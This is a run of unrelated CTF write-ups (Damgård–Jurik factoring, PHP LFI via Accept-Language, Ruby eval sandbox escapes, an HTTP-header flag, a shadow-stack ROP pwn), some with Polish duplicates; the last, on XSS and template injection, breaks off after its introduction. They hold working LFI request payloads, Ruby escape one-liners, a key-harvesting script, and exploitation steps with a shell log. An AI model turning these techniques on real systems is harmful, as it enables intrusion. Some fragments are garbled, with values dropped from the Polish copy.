```pythondef encrypt(msg, pubkey): n, g, u = pubkey u += 1 r = getRandomRange(1, n ** u - 1) enc = pow(g, msg, n ** u) * pow(r, n ** u, n ** u) % n ** u return enc```
It looked very much like Paillier Cryptosystem so a little googling told us that this is actually a generalized version known as Damgård–Jurik Cryptosystem: https://en.wikipedia.org/wiki/Damgård–Jurik_cryptosystem
It looks almost as the textbook implementation so we didn't expect vulnerability here.
The key generation scheme was:
```pythondef get_keypair(kbit, u): l = getRandomRange(kbit >> 4, kbit) p = long(gmpy.next_prime(2 << l)) q = long(getPrime(kbit - l - 1)) n = p * q d = (p - 1) * (q - 1) / GCD(p - 1, q - 1) r = getRandomRange(1, n - 1) while True: t = getRandomRange(1, n - 1) if GCD(t, n) == 1: break g = pow(n + 1, t, n ** (u + 1)) * r % n ** (u + 1) pubkey = (n, g, u) privkey = (n, d) return pubkey, privkey```
At first glance it also looked fine, but after a while we noticed an interesting issue.The estimated `kbit` value, judging by some public keys we got, was just 512 bits.This means that `kbit >> 4` is actually `32`! So the range for the first prime is between 32 and 512 bits, and for the second prime between 0 and 479 bits!
This doesn't sound very safe, when the primes are not similar in size.Since for every connection we get a new key, we can expect that at some point we will get a key with reasonably small factor.For this we wrote a script to grab some public keys and corresponding encrypted flags for them:
```pythonimport codecsimport hashlibimport reimport socketimport itertoolsimport stringfrom time import sleep
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
def grab_data(s): s.sendall("G\n") # get public key sleep(1) public = recvuntil(s, "\n") + recvuntil(s, "\n") s.recv(99999) s.sendall("S\n") # get flag sleep(1) encflag = recvuntil(s, "\n") s.recv(99999) return public, encflag
def main(): while True: try: url = "dam.asis-ctf.ir" port = 34979 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") sleep(2) data = s.recv(9999) print(data) public, encflag = grab_data(s) with codecs.open("data.txt", "a") as keys_data: keys_data.write(public) keys_data.write(encflag + "\n") except: pass
main()```
This way we got quite a few keys after a while.Next step was to find the appropriate modulus with small factor - we simply passed the data to YAFU with some timeout and hoped for the best.Fortunately we got the data we hoped for:
```p = 531457043239q = 24388660549343689307668728357759111763660922989570087116087163747073216709529418907189891430183531024686147899385989241370687309994439728955541n = 12961525424113842581457481341117729721726176698202598934475332596021163792495193687500962257794764397492324080568328705801930173334863551881104393545637299g = 2132051839750573299754854507364380969444028499581423474830053011031379601163074792669440458939453573346412661307966491517309566840273475971253252815424138851541945813878339754880371934727997401840883756793174023026387912833787561873964774343104161427421558277429398462610380913199026766005036911561111911498015614446521644547923419768095811788791898552705927717854674901759443511325189376351325806917211560457327283300074902178726201347950069589670988213859630524059734789901571017367997352139514205408014889400527318603702898182503607166931422225113192039575979803468157633585201622512457745586383739179657894475772u = 3flag = 16146846956417499078189378495360455759223869595378485457630764561369105704825747347552639327825348858161202688846334168331082417561328878910128831138772951255714265696309304528530025841643933748756877476450078970791315331759262515894580524581915667726800504296931313616859751122921688756817297843797340121021959810015729726300012075071651090158205135737206806416627610169333331691704947002581388291641532314716891417238670535879838292937496483821606837803344591931921999217676036196239569436244254894652087250116786992703898654314284929464910202202816397917119926061000276191503543076180026132619912576609446737065690```
We got a modulus with a very small factor, just 39 bits in size.This means we could now recover the private key, which in this case was LCM.
With the private key now the last thing to do was to decrypt the flag corresponding to our broken key.This proved to be a problem since we couldn't find an implementation for this algorithm, which would not be a simplified version.
So we ended up grabbing the paper: http://www.brics.dk/RS/00/45/BRICS-RS-00-45.pdf and coding this on our own:
```pythondef L(x): return (x - 1) / n
def decrypt(ct, d, n, s): ns1 = pow(n, s + 1) a = pow(ct, d, ns1) i = 0 for j in range(1, s + 1): t1 = L(a % pow(n, j + 1)) t2 = i for k in range(2, j + 1): i -= 1 t2 = (t2 * i) % pow(n, j) factorial = long(gmpy2.factorial(k)) up = (t2 * pow(n, k - 1)) down = gmpy2.invert(factorial, pow(n, j)) t1 = (t1 - up * down) % pow(n, j) i = t1 return i```
With this function we could now decrypt the flag ciphertext to get `jmd mod n^s` and by decrypting `g` value we could get `jd mod n^s` and modinv of this value to get plain `m`:
```pythonns = pow(n, u)jd = decrypt(g, d, n, u)jd_inv = gmpy2.invert(jd, ns)jmd = decrypt(flag, d, n, u)f = (jd_inv * jmd) % nsprint("decrypted flag = " + long_to_bytes(f))```
###PL version
W zadaniu dostajemy dostęp do serwisu umożliwiającego jakąś formę szyfrowania.Serwer wymaga od nas rozwiązania PoW aby móc z niego korzystać, więc musieliśmy najpierw rozwiązać PoW, niemniej było takie samo jak dla innych zadań (prefix dla stringu dającego odpowiednią wartość hasha).Po pokonaniu PoW mogliśmy uzyskać od serwisu algorytm szyfrowania, algorytm generacji klucza sesji, zaszyfrowaną kluczem sesji flagę, aktualny klucz publiczny sesji oraz mogliśmy też sami coś zaszyfrować.
Kod szyfrowania:
```pythondef encrypt(msg, pubkey): n, g, u = pubkey u += 1 r = getRandomRange(1, n ** u - 1) enc = pow(g, msg, n ** u) * pow(r, n ** u, n ** u) % n ** u return enc```
Wyglądał bardzo podobnie do Kryptosystemu Pailliera i po chwili googlowania znaleźliśmy informacje że jest to wersja uogóliona, znana jako Kryptosystem Damgård–Jurik: https://en.wikipedia.org/wiki/Damgård–Jurik_cryptosystem
Implementacja wyglądała na książkową, więc nie spodziewaliśmy się tutaj podatności.
Algorytm generacji klucza:
```pythondef get_keypair(kbit, u): l = getRandomRange(kbit >> 4, kbit) p = long(gmpy.next_prime(2 << l)) q = long(getPrime(kbit - l - 1)) n = p * q d = (p - 1) * (q - 1) / GCD(p - 1, q - 1) r = getRandomRange(1, n - 1) while True: t = getRandomRange(1, n - 1) if GCD(t, n) == 1: break g = pow(n + 1, t, n ** (u + 1)) * r % n ** (u + 1) pubkey = (n, g, u) privkey = (n, d) return pubkey, privkey```
Na pierwszy rzut oka wygląda ok, ale po chwili zastanowienia zauważliśmy interesujący fakt.Szacowana przez nas wartość `kbit`, na podstawie kluczy publicznych które wyciagnęliśmy, wynosiła tylko 512 bitów.To oznacza że `kbit >> 4` to raptem `32`!Więc zsięg dla jednej z liczb to pomiędzy 32 a 512 bitów a dla drugiej pomiędzy 0 a 479 bitów!
To nie brzmi zbyt bezpiecznie kiedy liczby pierwsze nie są podobnego rozmiaru.Ponieważ co połączenie dostajemy nowy klucz sesji, możemy oczekiwać, że kiedyś trafi nam się taki z względnie małym czynnikiem.W związku z tym napisaliśmy skrypt do pobrania kluczy publicznych i pasujących do nich flag:
```pythonimport codecsimport hashlibimport reimport socketimport itertoolsimport stringfrom time import sleep
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
def grab_data(s): s.sendall("G\n") # get public key sleep(1) public = recvuntil(s, "\n") + recvuntil(s, "\n") s.recv(99999) s.sendall("S\n") # get flag sleep(1) encflag = recvuntil(s, "\n") s.recv(99999) return public, encflag
def main(): while True: try: url = "dam.asis-ctf.ir" port = 34979 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") sleep(2) data = s.recv(9999) print(data) public, encflag = grab_data(s) with codecs.open("data.txt", "a") as keys_data: keys_data.write(public) keys_data.write(encflag + "\n") except: pass
main()```
W ten sposób pobraliśmy trochę kluczy po jakimś czasie.Następny krok to znalezienie odpowiedniego modulusa z małym czynnikiem - po prostu wysłaliśmy uzyskane modulusu do YAFU z timeoutem i trzymaliśmy kciuki.Na szczęście udało się dość szybko i dostaliśmy:
g = 2132051839750573299754854507364380969444028499581423474830053011031379601163074792669440458939453573346412661307966491517309566840273475971253252815424138851541945813878339754880371934727997401840883756793174023026387912833787561873964774343104161427421558277429398462610380913199026766005036911561111911498015614446521644547923419768095811788791898552705927717854674901759443511325189376351325806917211560457327283300074902178726201347950069589670988213859630524059734789901571017367997352139514205408014889400527318603702898182503607166931422225113192039575979803468157633585201622512457745586383739179657894475772u = 3flag = 16146846956417499078189378495360455759223869595378485457630764561369105704825747347552639327825348858161202688846334168331082417561328878910128831138772951255714265696309304528530025841643933748756877476450078970791315331759262515894580524581915667726800504296931313616859751122921688756817297843797340121021959810015729726300012075071651090158205135737206806416627610169333331691704947002581388291641532314716891417238670535879838292937496483821606837803344591931921999217676036196239569436244254894652087250116786992703898654314284929464910202202816397917119926061000276191503543076180026132619912576609446737065690
Więc mieliśmy modulus z małym czynnikiem, raptem 39 bitów.To oznacza że mogliśmy teraz odzyskać klucz prywatny za pomocą LCM.
Z kluczem prywatnym pozostało nam już tylko odszyfrować flagę pasującą do złamanego klucza.To okazało się problematyczne, bo nie mogliśmy nigdzie znaleźć implementacji tego algorytmu w wersji nie-uproszczonej.
Więc finalnie wzięliśmy publikacje: http://www.brics.dk/RS/00/45/BRICS-RS-00-45.pdf i zaimplementowaliśmy kod samodzielnie:
```pythondef L(x): return (x - 1) / n
def decrypt(ct, d, n, s): ns1 = pow(n, s + 1) a = pow(ct, d, ns1) i = 0 for j in range(1, s + 1): t1 = L(a % pow(n, j + 1)) t2 = i for k in range(2, j + 1): i -= 1 t2 = (t2 * i) % pow(n, j) factorial = long(gmpy2.factorial(k)) up = (t2 * pow(n, k - 1)) down = gmpy2.invert(factorial, pow(n, j)) t1 = (t1 - up * down) % pow(n, j) i = t1 return i```
Z tą funkcja mogliśmy teraz odszyfrować flagę dostając `jmd mod n^s` a deszyfrując `g` dostaliśmy `jd mod n^s` z którego wyliczyliśmy modinv aby uzyskać wartość `m`:
```pythonns = pow(n, u)jd = decrypt(g, d, n, u)jd_inv = gmpy2.invert(jd, ns)jmd = decrypt(flag, d, n, u)f = (jd_inv * jmd) % nsprint("decrypted flag = " + long_to_bytes(f))``` |
## Tokey Westerns/MMA CTF 2nd 2016 - Global Page (Web 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Welcome to TokyoWesterns' CTF! http://globalpage.chal.ctf.westerns.tokyo/___### Solution
There are 2 url's in home page:``` http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo http://globalpage.chal.ctf.westerns.tokyo/?page=ctf```
When we click any of them we get the following warning:
```Warning: include(tokyo/en-GR.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'tokyo/en-US.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
Capture the flag, commonly abbreviated as CTF, [.... MORE TEXT ....] own team, or "in jail." ```
The warning says that the requested file tokyo/en-GR.php didn't found. The "en-GR" is the accepted language, which is taken from the browser.
If we try a straight LFI in the page variable it will fail as dots and slashes are removed.
Also there's a slash after page variable so we need to split our LFI in page and language:
```GET /?page=php: HTTP/1.1Host: globalpage.chal.ctf.westerns.tokyoUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: /filter/convert.base64-encode/resource=index,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: close```
By sending the above HTTP request we get the source of index.php encoded in base64. In the source there's an interesting line:
```php include "flag.php";```
We repeat the same and we get the flag.php file:```GET /?page=php: HTTP/1.1Host: globalpage.chal.ctf.westerns.tokyoUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: /filter/convert.base64-encode/resource=flag,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: close```
The returned page has the encoded flag.php:```PD9waHAKJGZsYWcgPSAiVFdDVEZ7SV9mb3VuZF9zaW1wbGVfTEZJfSI7Cg==```
We base64 decode it and we get the flag:```php
```___ |
## Private/Local/Comment (PPC, 50+70+100p)
###ENG[PL](#pl-version)
Set of three tasks where we can execute some Ruby code to steal the flag.
#### Private
First task has code:
```rubyrequire_relative 'restrict'Restrict.set_timeout
class Private private public_methods.each do |method| eval "def #{method.to_s};end" end
def flag return "TWCTF{CENSORED}" endend
p = Private.newPrivate = nil
input = STDIN.getsfail unless inputinput.size > 24 && input = input[0, 24]
Restrict.seccomp
STDOUT.puts eval(input)```
So we can provide 24 characters and we need to get the value returned by `flag` method.We can't call the method since all methods are now private.To solve it we use a trick - we monkey patch a new method to the instance `p` and from this method we can call also private methods so exploit is:
```rubydef p.x;flag end;p.x```
#### Local & Comment
Attack for both of those was the same.
The code for local was
```rubyrequire_relative 'restrict'Restrict.set_timeout
def get_flag(x) flag = "TWCTF{CENSORED}" xend
input = STDIN.getsfail unless inputinput.size > 60 && input = input[0, 60]
Restrict.seccomp
STDOUT.puts get_flag(eval(input))```
and for comment was:
```rubyrequire_relative 'restrict'Restrict.set_timeout
input = STDIN.getsfail unless inputinput.size > 60 && input = input[0, 60]
require_relative 'comment_flag'Restrict.seccomp
STDOUT.puts eval(input)```
```ruby# FLAG is TWCTF{CENSORED}```
In both cases we searched the heap memory looking for the flag string stored in not-yet garbage collected memory using `ObjectSpace`:
For local:```rubyObjectSpace.each_object(String){|x|x[3]=="T"and print x}```
And for comment:```rubyObjectSpace.each_object(String){|x|x[15]=='{'and print x}```
###PL version
Zestaw 3 zadań w których możemy wykonać pewien kod Ruby aby ukraść flagę.
#### Private
Kod do pierwszego zadania:
```rubyrequire_relative 'restrict'Restrict.set_timeout
class Private private public_methods.each do |method| eval "def #{method.to_s};end" end
def flag return "TWCTF{CENSORED}" endend
p = Private.newPrivate = nil
input = STDIN.getsfail unless inputinput.size > 24 && input = input[0, 24]
Restrict.seccomp
STDOUT.puts eval(input)```
Możemy wysłać 24 znaki żeby pobrać wynik metody `flag`.Nie możemy jej po prostu wywołać bo jest prywatna.Aby obejść nasz problem definiujemy nową metodę instancji `p` za pomocą monkey-patchingu i z tejże metody możemy wołać juz metody prywatne:
```rubydef p.x;flag end;p.x```
#### Local & Comment
Atak dla obu zadań był taki sam.
Kod dla local:
```rubyrequire_relative 'restrict'Restrict.set_timeout
def get_flag(x) flag = "TWCTF{CENSORED}" xend
input = STDIN.getsfail unless inputinput.size > 60 && input = input[0, 60]
Restrict.seccomp
STDOUT.puts get_flag(eval(input))```
i dla comment:
```rubyrequire_relative 'restrict'Restrict.set_timeout
input = STDIN.getsfail unless inputinput.size > 60 && input = input[0, 60]
require_relative 'comment_flag'Restrict.seccomp
STDOUT.puts eval(input)```
```ruby# FLAG is TWCTF{CENSORED}```
W obu przypadkach przeglądneliśmy stertę w poszukiwaniu stringa z flagą w jeszcze nie zwolnionej pamięci za pomocą `ObjectSpace`:
Dla local:```rubyObjectSpace.each_object(String){|x|x[3]=="T"and print x}```
Dla comment:```rubyObjectSpace.each_object(String){|x|x[15]=='{'and print x}``` |
Author: @axi0mXInformation given: "Watch your heads!"Assuming it was related to an HTTP HEAD request, I ran the following command:$ curl --head https://asis-ctf.ir/challenges/HTTP/1.1 302 FoundServer: nginxDate: Mon, 12 Sep 2016 02:05:42 GMTContent-Type: text/html; charset=utf-8Connection: keep-aliveVary: Accept-Language, CookieX-Frame-Options: SAMEORIGINContent-Language: faLocation: /accounts/login/?next=/challenges/Strict-Transport-Security: max-age=15768000; includeSubDomains; preload;CTF-Level: Final 2016X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockFlag: QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K; base64Decoding base64 gets us the flag:$ echo QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K | base64 --decodeASIS{31a483900b8576426cccdf55402b9dd6} |
## Tokey Westerns/MMA CTF 2nd 2016 - shadow (Pwn 400pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Host : pwn2.chal.ctf.westerns.tokyo Port : 18294 shadow### Solution
This binary implements a basic vulnerable message service, which is protected with a shadow stackto prevent ROP attacks. The core of the program is the message() function:
```assembly.text:08048794 65 A1 14 00+ mov eax, large gs:14h.text:0804879A 89 45 F4 mov [ebp+canary_C], eax.text:0804879D 31 C0 xor eax, eax.text:0804879F C7 45 CC 00+ mov [ebp+msg_ctr_34], 0.text:080487A6 E9 6D 01 00+ jmp LOOP_END_8048918.text:080487AB ; ---------------------------------------------------------------------------.text:080487AB.text:080487AB LOOP_START_80487AB: ; CODE XREF: message+192?j.text:080487AB 8D 55 D4 lea edx, [ebp+arr_2C] ; a 32 byte array.text:080487AE B9 00 00 00+ mov ecx, 0.text:080487B3 B8 20 00 00+ mov eax, 20h.text:080487B8 83 E0 FC and eax, 0FFFFFFFCh.text:080487BB 89 C3 mov ebx, eax.text:080487BD B8 00 00 00+ mov eax, 0.text:080487C2.text:080487C2 BZERO_80487C2: ; CODE XREF: message+3E?j.text:080487C2 89 0C 02 mov [edx+eax], ecx.text:080487C5 83 C0 04 add eax, 4.text:080487C8 39 D8 cmp eax, ebx.text:080487CA 72 F6 jb short BZERO_80487C2 ; zero out arr_2C.text:080487CC 01 C2 add edx, eax.text:080487CE 8B 45 08 mov eax, [ebp+arg_0].text:080487D1 89 44 24 04 mov [esp+4], eax.text:080487D5 C7 04 24 40+ mov dword ptr [esp], offset _strlen.text:080487DC E8 E0 04 00+ call call.text:080487E1 85 C0 test eax, eax.text:080487E3 74 2F jz short CHANGE_NAME_8048814.text:080487E5 C7 44 24 04+ mov dword ptr [esp+4], offset aChangeName?YN ; "Change name? (y/n) : ".text:080487ED C7 04 24 E0+ mov dword ptr [esp], offset _printf.text:080487F4 E8 C8 04 00+ call call.text:080487F9 C7 44 24 08+ mov dword ptr [esp+8], 20h.text:08048801 8D 45 D4 lea eax, [ebp+arr_2C].text:08048804 89 44 24 04 mov [esp+4], eax.text:08048808 C7 04 24 48+ mov dword ptr [esp], offset getnline.text:0804880F E8 AD 04 00+ call call.text:08048814.text:08048814 CHANGE_NAME_8048814: ; CODE XREF: message+57?j.text:08048814 8B 45 08 mov eax, [ebp+arg_0].text:08048817 89 44 24 04 mov [esp+4], eax.text:0804881B C7 04 24 40+ mov dword ptr [esp], offset _strlen.text:08048822 E8 9A 04 00+ call call ; strlen(name).text:08048827 85 C0 test eax, eax.text:08048829 74 08 jz short SET_NAME_8048833.text:0804882B 0F B6 45 D4 movzx eax, [ebp+arr_2C].text:0804882F 3C 79 cmp al, 79h ; 'y' pressed?.text:08048831 75 2E jnz short GET_MSG_8048861.text:08048833.text:08048833 SET_NAME_8048833: ; CODE XREF: message+9D?j.text:08048833 C7 44 24 04+ mov dword ptr [esp+4], offset aInputName ; "Input name : ".text:0804883B C7 04 24 E0+ mov dword ptr [esp], offset _printf.text:08048842 E8 7A 04 00+ call call.text:08048847 8B 45 08 mov eax, [ebp+arg_0] ; buf.text:0804884A 8B 55 0C mov edx, [ebp+arg_4] ; buflen.text:0804884D 89 54 24 08 mov [esp+8], edx.text:08048851 89 44 24 04 mov [esp+4], eax ; arbitrary WRITE the 2nd time!.text:08048855 C7 04 24 48+ mov dword ptr [esp], offset getnline.text:0804885C E8 60 04 00+ call call.text:08048861.text:08048861 GET_MSG_8048861: ; CODE XREF: message+A5?j.text:08048861 C7 44 24 04+ mov dword ptr [esp+4], offset aMessageLength ; "Message length : ".text:08048869 C7 04 24 E0+ mov dword ptr [esp], offset _printf.text:08048870 E8 4C 04 00+ call call.text:08048875 C7 44 24 08+ mov dword ptr [esp+8], 20h.text:0804887D 8D 45 D4 lea eax, [ebp+arr_2C].text:08048880 89 44 24 04 mov [esp+4], eax.text:08048884 C7 04 24 48+ mov dword ptr [esp], offset getnline.text:0804888B E8 31 04 00+ call call.text:08048890 8D 45 D4 lea eax, [ebp+arr_2C].text:08048893 89 44 24 04 mov [esp+4], eax.text:08048897 C7 04 24 70+ mov dword ptr [esp], offset _atoi.text:0804889E E8 1E 04 00+ call call.text:080488A3 89 45 D0 mov [ebp+msglen_30], eax.text:080488A6 83 7D D0 20 cmp [ebp+msglen_30], 20h.text:080488AA 7E 07 jle short LEN_OK_80488B3 ; VULN: signed comparison. Give <0 length.text:080488AC C7 45 D0 20+ mov [ebp+msglen_30], 20h ; maximum length is 32.text:080488B3.text:080488B3 LEN_OK_80488B3: ; CODE XREF: message+11E?j.text:080488B3 C7 44 24 04+ mov dword ptr [esp+4], offset aInputMessage ; "Input message : ".text:080488BB C7 04 24 E0+ mov dword ptr [esp], offset _printf.text:080488C2 E8 FA 03 00+ call call.text:080488C7 8B 45 D0 mov eax, [ebp+msglen_30].text:080488CA 89 44 24 08 mov [esp+8], eax.text:080488CE 8D 45 D4 lea eax, [ebp+arr_2C].text:080488D1 89 44 24 04 mov [esp+4], eax.text:080488D5 C7 04 24 48+ mov dword ptr [esp], offset getnline ; trivial BOf here.text:080488DC E8 E0 03 00+ call call.text:080488E1 8B 45 08 mov eax, [ebp+arg_0].text:080488E4 8B 55 CC mov edx, [ebp+msg_ctr_34].text:080488E7 8D 4A 01 lea ecx, [edx+1] ; msg_ctr + 1.text:080488EA 8D 55 D4 lea edx, [ebp+arr_2C].text:080488ED 89 54 24 14 mov [esp+14h], edx ; arg5: %s: message.text:080488F1 89 44 24 10 mov [esp+10h], eax ; arg5: %s: name arbitrary_read (str).text:080488F5 8B 45 10 mov eax, [ebp+arg_8].text:080488F8 89 44 24 0C mov [esp+0Ch], eax ; arg3: %d: read your data (int).text:080488FC 89 4C 24 08 mov [esp+8], ecx ; arg2: %d: msg_ctr+1.text:08048900 C7 44 24 04+ mov dword ptr [esp+4], offset aDDSS ; "(%d/%d) <%s> %s\n\n".text:08048908 C7 04 24 E0+ mov dword ptr [esp], offset _printf.text:0804890F E8 AD 03 00+ call call.text:08048914 83 45 CC 01 add [ebp+msg_ctr_34], 1.text:08048918.text:08048918 LOOP_END_8048918: ; CODE XREF: message+1A?j.text:08048918 8B 45 CC mov eax, [ebp+msg_ctr_34].text:0804891B 3B 45 10 cmp eax, [ebp+arg_8].text:0804891E 0F 8C 87 FE+ jl LOOP_START_80487AB ; a 32 byte array.text:08048924 C7 04 24 00+ mov dword ptr [esp], 0.text:0804892B E8 BE 03 00+ call ret.text:08048930 8B 75 F4 mov esi, [ebp+canary_C].text:08048933 65 33 35 14+ xor esi, large gs:14h.text:0804893A 74 05 jz short loc_8048941.text:0804893C E8 BF FB FF+ call ___stack_chk_fail.text:08048941 ; ---------------------------------------------------------------------------.text:08048941.text:08048941 loc_8048941: ; CODE XREF: message+1AE?j.text:08048941 83 C4 50 add esp, 50h.text:08048944 5B pop ebx.text:08048945 5E pop esi.text:08048946 5D pop ebp.text:08048947 C3 retn.text:08048947 message endp```
There are 2 bugs here: The first one is that length comparison is signed:```assembly .text:080488AA 7E 07 jle short LEN_OK_80488B3```
By giving a negative length, we can overflow the stack buffer. The second bug is at getnline().When the input fills the buffer, then no NULL byte is added. Thus it's possible to get a nonNULL terminated string and leak information using printf().
### Leaking a stack addressFirst of all we need to leak a stack address. By supplying a 16 byte name we can fill thename buffer. When message (according with the name) is printing we can leak the data from the stack after the name. 12 bytes after the name buffer there's a stack address, so wecan easily leak it.
### Leaking the canaryLeaking the canary value is not needed for our attack. However I put some effort to leak it,so I'll present the method. Canary is stored right after the name buffer. If we fill thebuffer (which is 32) bytes we cannot leak it for a strange reason: The LSB of the canaryis always zero. Thus the printf() will stop on LSB of canary without actually leaking it.
What we can do, is to use the negative length bug, supply a negative message length andoverflow the message buffer by 1 byte. Thus we can overwrite the LSB of the canary andleak the remaining 3 bytes.
### Bypassing shadow stackShadow stack is a protection against ROP execution. With shadow stack, return addresses arekept in a separate (hidden) stack. Addresses are usually encrypted using a simple xor with arandom key. Upon call the return address is pushed on shadow stack, and upon return the return value is popped from shadow stack. The return address from the stack is compared withthe return address from shadow stack and if they're equal the return is taken.
Let's see an example of a "push" operation. Here there's a hidden region, and a pointer toit is stored at gs:20h. This region has no permissions, so it can't be leaked or written:
```assembly.stext:08048AD9 55 push ebp.stext:08048ADA 89 E5 mov ebp, esp.stext:08048ADC 53 push ebx.stext:08048ADD 83 EC 14 sub esp, 14h.stext:08048AE0 65 A1 20 00+ mov eax, large gs:20h ; shadow esp is here.stext:08048AE6 A3 48 A0 04+ mov ds:SHADOW_ESP_804A048, eax.stext:08048AEB 8B 15 48 A0+ mov edx, ds:SHADOW_ESP_804A048.stext:08048AF1 A1 4C A0 04+ mov eax, ds:stack_buf.stext:08048AF6 39 C2 cmp edx, eax.stext:08048AF8 77 0C ja short loc_8048B06.stext:08048AFA C7 04 24 01+ mov dword ptr [esp], 1 ; status.stext:08048B01 E8 EA F9 FF+ call __exit.stext:08048B06 ; ---------------------------------------------------------------------------.stext:08048B06.stext:08048B06 loc_8048B06: ; CODE XREF: push+1F?j.stext:08048B06 A1 48 A0 04+ mov eax, ds:SHADOW_ESP_804A048.stext:08048B0B 83 E8 04 sub eax, 4 ; descrease shadow esp.stext:08048B0E A3 48 A0 04+ mov ds:SHADOW_ESP_804A048, eax.stext:08048B13 A1 4C A0 04+ mov eax, ds:stack_buf.stext:08048B18 C7 44 24 08+ mov dword ptr [esp+8], 2 ; prot (PROT_WRITE).stext:08048B20 C7 44 24 04+ mov dword ptr [esp+4], 1000h ; len.stext:08048B28 89 04 24 mov [esp], eax ; addr.stext:08048B2B E8 90 F9 FF+ call _mprotect.stext:08048B30 8B 1D 48 A0+ mov ebx, ds:SHADOW_ESP_804A048.stext:08048B36 8B 45 08 mov eax, [ebp+arg_0].stext:08048B39 89 04 24 mov [esp], eax.stext:08048B3C E8 CA 00 00+ call enc_dec.stext:08048B41 89 03 mov [ebx], eax.stext:08048B43 A1 4C A0 04+ mov eax, ds:stack_buf.stext:08048B48 C7 44 24 08+ mov dword ptr [esp+8], 0 ; prot (PROT_NONE).stext:08048B50 C7 44 24 04+ mov dword ptr [esp+4], 1000h ; len.stext:08048B58 89 04 24 mov [esp], eax ; addr.stext:08048B5B E8 60 F9 FF+ call _mprotect.stext:08048B60 A1 48 A0 04+ mov eax, ds:SHADOW_ESP_804A048 ; VULN: don't clear shadow esp from .bss.stext:08048B65 65 A3 20 00+ mov large gs:20h, eax.stext:08048B6B 83 C4 14 add esp, 14h.stext:08048B6E 5B pop ebx.stext:08048B6F 5D pop ebp.stext:08048B70 C3 retn```
It seems that program is unbreakable right? However there's a small detail here that mostpeople forget: Performance. A simple call is replaced with:```assembly.asm:08048CC1 55 push ebp.asm:08048CC2 89 E5 mov ebp, esp.asm:08048CC4 83 EC 04 sub esp, 4.asm:08048CC7 8B 45 04 mov eax, [ebp+4].asm:08048CCA 89 04 24 mov [esp], eax.asm:08048CCD E8 07 FE FF+ call push.asm:08048CD2 8B 45 00 mov eax, [ebp+var_s0].asm:08048CD5 89 04 24 mov [esp], eax.asm:08048CD8 E8 FC FD FF+ call push.asm:08048CDD 8B 45 08 mov eax, [ebp+arg_0].asm:08048CE0 BA 1B 8D 04+ mov edx, offset ret_stub.asm:08048CE5 89 55 08 mov [ebp+arg_0], edx.asm:08048CE8 C9 leave.asm:08048CE9 83 C4 04 add esp, 4.asm:08048CEC FF E0 jmp eax.asm:08048CEC call endp```
Which is a pretty big overhead. The same holds for return. If shadow stack is implemented in libc, performance will be terrible! Thus, shadow stack is only implemented in the main program.
So, what if the stack overflow happens within libc? In that case, we can overwrite a return address and bypass shadow stack. Because of the overflow in message buffer, we can controlthe message buffer and its length, which is passed to read(). This gives us an arbitrarywrite primitive.
We also have a stack address, so we can have our arbitrary write in the stack. We set messagebuffer to point at the saved return address of read() when it's called from getnline(). Thisway we can get control of eip.
### ExploitationAfter we get control of eip, we can ROP without any issues. mprotect() is there, so we canreuse them to make stack executable. After we do that, we can return to an address thereand execute our shellcode. This is possible as we have leaked a stack address.
### Final wordsFinally, we can get our shell and read the flag: **TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}**Unfortunately when the ctf was over, I only had control of eip, so I missed the 400 points :(
### Getting the flag```/usr/bin/python2.7 /root/ctf/mmactf_16/shadow/shadow_expl.py[*] Stack Address: 0xff8cd11c[*] Canary Value : 0xc8b9b200[+] Opening Shell...id uid=18294034 gid=18294(p18294) groups=18294(p18294)ls -la total 28 drwxr-x--- 2 root p18294 4096 Sep 3 16:05 . drwxr-xr-x 6 root root 4096 Sep 2 23:49 .. -rw-r----- 1 root p18294 47 Sep 2 23:49 flag -rwxr-x--- 1 root p18294 12300 Sep 3 16:05 shadowcat flag TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}exit*** Connection closed by remote host ***
Process finished with exit code 0```
For more details take a look at exploit file.___ |
## SBBS (Web, 250p) tl;dr use xss to get a 404 error page and then use template injection to get the flag
We're given the source code of a sever that uses flask. The flag is hardcoded into the source but it's not used anywhere, so we either have to steal the source files or somehow extract it from the program.
The site itself allows us to write posts, which are then viewed by the admin. XSS almost immediately comes to mind
